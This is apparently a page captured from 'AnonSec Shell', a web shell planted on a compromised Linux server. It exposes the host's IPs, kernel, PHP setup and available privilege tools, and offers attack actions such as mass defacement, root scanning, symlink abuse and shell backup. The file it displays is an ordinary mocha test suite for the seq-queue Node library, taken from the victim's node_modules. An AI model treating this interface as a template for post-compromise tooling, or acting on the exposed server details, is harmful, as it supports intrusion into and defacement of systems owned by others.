AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 172.67.142.142 / Your IP : 104.23.243.116 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/app/wyeth/backend/node_modules/seq-queue/test/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/app/wyeth/backend/node_modules/seq-queue/test/seq-queue-test.js

var should = require('should');
var SeqQueue = require('../lib/seq-queue');

var timeout = 1000;

describe('seq-queue', function() {
	
	describe('#createQueue', function() {
		it('should return a seq-queue instance with init properties', function() {
			var queue = SeqQueue.createQueue(timeout);
			should.exist(queue);
			queue.should.have.property('timeout', timeout);
			queue.should.have.property('status', SeqQueue.IDLE);
		});
	});
	
	describe('#push' , function() {
		it('should change the queue status from idle to busy and invoke the task at once when task finish when queue idle', function(done) {
			var queue = SeqQueue.createQueue(timeout);
			queue.should.have.property('status', SeqQueue.IDLE);
			queue.push(function(task) {
				should.exist(task);
				task.done();
				queue.should.have.property('status', SeqQueue.IDLE);
				done();
			});
			queue.should.have.property('status', SeqQueue.BUSY);
		});
		
		it('should keep the status busy and keep the new task wait until the former tasks finish when queue busy', function(done) {
			var queue = SeqQueue.createQueue(timeout);
			var formerTaskFinished = false;
			//add first task
			queue.push(function(task) {
				formerTaskFinished = true;
				task.done();
			});
			queue.should.have.property('status', SeqQueue.BUSY);
			//add second task
			queue.push(function(task) {
				formerTaskFinished.should.be.true;
				queue.should.have.property('status', SeqQueue.BUSY);
				task.done();
				queue.should.have.property('status', SeqQueue.IDLE);
				done();
			});
			queue.should.have.property('status', SeqQueue.BUSY);
		});
		
		it('should ok if the task call done() directly', function(done) {
			var queue = SeqQueue.createQueue();
			var taskCount = 0;
			queue.push(function(task) {
				taskCount++;
				task.done();
			});
			queue.push(function(task) {
				taskCount++;
				task.done();
			});
			setTimeout(function() {
				taskCount.should.equal(2);
				done();
			}, 500);
		});
	});
	
	describe('#close', function() {
		it('should not accept new request but should execute the rest task in queue when close gracefully', function(done) {
			var queue = SeqQueue.createQueue(timeout);
			var closedEventCount = 0;
			var drainedEventCount = 0;
			queue.on('closed', function() {
				closedEventCount++;
			});
			queue.on('drained', function() {
				drainedEventCount++;
			});
			var executedTaskCount = 0;
			queue.push(function(task) {
				executedTaskCount++;
				task.done();
			}).should.be.true;
			queue.close(false);
			queue.should.have.property('status', SeqQueue.CLOSED);
			
			queue.push(function(task) {
				// never should be executed
				executedTaskCount++;
				task.done();
			}).should.be.false;
			
			// wait all task finished
			setTimeout(function() {
				executedTaskCount.should.equal(1);
				closedEventCount.should.equal(1);
				drainedEventCount.should.equal(1);
				done();
			}, 1000);
		});
		
		it('should not execute any task and emit a drained event when close forcefully', function(done) {
			var queue = SeqQueue.createQueue(timeout);
			var drainedEventCount = 0;
			queue.on('drained', function() {
				drainedEventCount++;
			});
			var executedTaskCount = 0;
			queue.push(function(task) {
				//never should be executed
				executedTaskCount++;
				task.done();
			}).should.be.true;
			queue.close(true);
			queue.should.have.property('status', SeqQueue.DRAINED);
			
			// wait all task finished
			setTimeout(function() {
				executedTaskCount.should.equal(0);
				drainedEventCount.should.equal(1);
				done();
			}, 1000);
		});
	});
	
	describe('#timeout', function() {
		it('should emit timeout event and execute the next task when a task timeout by default', function(done) {
			var queue = SeqQueue.createQueue();
			var executedTaskCount = 0;
			var timeoutCount = 0;
			var onTimeoutCount = 0;
			//add timeout listener
			queue.on('timeout', function(task) {
				task.should.be.a('object');
				task.fn.should.be.a('function');
				timeoutCount++;
			});
			
			queue.push(function(task) {
				executedTaskCount++;
				//no task.done() invoke to cause a timeout
			}, function() {
				onTimeoutCount++;
			}).should.be.true;
			
			queue.push(function(task) {
				executedTaskCount++;
				task.done();
			}).should.be.true;
			
			setTimeout(function() {
				//wait all task finish
				executedTaskCount.should.be.equal(2);
				timeoutCount.should.be.equal(1);
				onTimeoutCount.should.be.equal(1);
				done();
			}, 4000);	//default timeout is 3s
		});
		
		it('should return false when invoke task.done() if task has already timeout', function(done) {
			var queue = SeqQueue.createQueue();
			var executedTaskCount = 0;
			var timeoutCount = 0;
			var timeout = 1000;
			
			//add timeout listener
			queue.on('timeout', function(task) {
				task.should.be.a('object');
				task.fn.should.be.a('function');
				timeoutCount++;
			});
			
			queue.push(function(task) {
				executedTaskCount++;
				task.done().should.be.true;
			}).should.be.true;
			
			queue.push(function(task) {
				//sleep to make a timeout
				setTimeout(function() {
					executedTaskCount++;
					task.done().should.be.false;
				}, timeout + 1000);
			}, null, timeout).should.be.true;
			
			setTimeout(function() {
				//wait all task finish
				executedTaskCount.should.be.equal(2);
				timeoutCount.should.be.equal(1);
				done();
			}, 4000);
		});
		
		it('should never timeout after close forcefully', function(done) {
			var queue = SeqQueue.createQueue(timeout);
			var timeoutCount = 0;
			//add timeout listener
			queue.on('timeout', function(task) {
				//should never enter here
				timeoutCount++;
			});
			
			queue.push(function(task) {
				//no task.done() invoke to cause a timeout
			}).should.be.true;
			
			queue.close(true);
			
			setTimeout(function() {
				//wait all task finish
				timeoutCount.should.be.equal(0);
				done();
			}, timeout * 2);
		});
		
		it('should use the global timeout value by default', function(done) {
			var globalTimeout = timeout + 100;
			var queue = SeqQueue.createQueue(globalTimeout);
			//add timeout listener
			queue.on('timeout', function(task) {
				(Date.now() - start).should.not.be.below(globalTimeout);
				done();
			});
			
			queue.push(function(task) {
				//no task.done() invoke to cause a timeout
			}).should.be.true;
			var start = Date.now();
		});
		
		it('should use the timeout value in #push if it was assigned', function(done) {
			var localTimeout = timeout / 2;
			var queue = SeqQueue.createQueue(timeout);
			//add timeout listener
			queue.on('timeout', function(task) {
				var diff = Date.now() - start;
				diff.should.not.be.below(localTimeout);
				diff.should.not.be.above(timeout);
				done();
			});
			
			queue.push(function(task) {
				//no task.done() invoke to cause a timeout
			}, null, localTimeout).should.be.true;
			var start = Date.now();
		});
	});
	
	describe('#error', function() {
		it('should emit an error event and invoke next task when a task throws an event', function(done) {
			var queue = SeqQueue.createQueue();
			var errorCount = 0;
			var taskCount = 0;
			//add timeout listener
			queue.on('error', function(err, task) {
				errorCount++;
				should.exist(err);
				should.exist(task);
			});
			
			queue.push(function(task) {
				taskCount++;
				throw new Error('some error');
			}).should.be.true;
			
			queue.push(function(task) {
				taskCount++;
				task.done();
			});
			
			setTimeout(function() {
				taskCount.should.equal(2);
				errorCount.should.equal(1);
				done();
			}, 500);
		});

		it('should be ok when task throw a error after done was invoked', function(done) {
			var queue = SeqQueue.createQueue();
			var errorCount = 0;
			var taskCount = 0;
			//add timeout listener
			queue.on('error', function(err, task) {
				errorCount++;
				should.exist(err);
				should.exist(task);
			});
			
			queue.push(function(task) {
				taskCount++;
				task.done();
				throw new Error('some error');
			}).should.be.true;
			
			queue.push(function(task) {
				taskCount++;
				task.done();
			});
			
			setTimeout(function() {
				taskCount.should.equal(2);
				errorCount.should.equal(1);
				done();
			}, 500);
		});
	});
});

Anon7 - 2022
AnonSec Team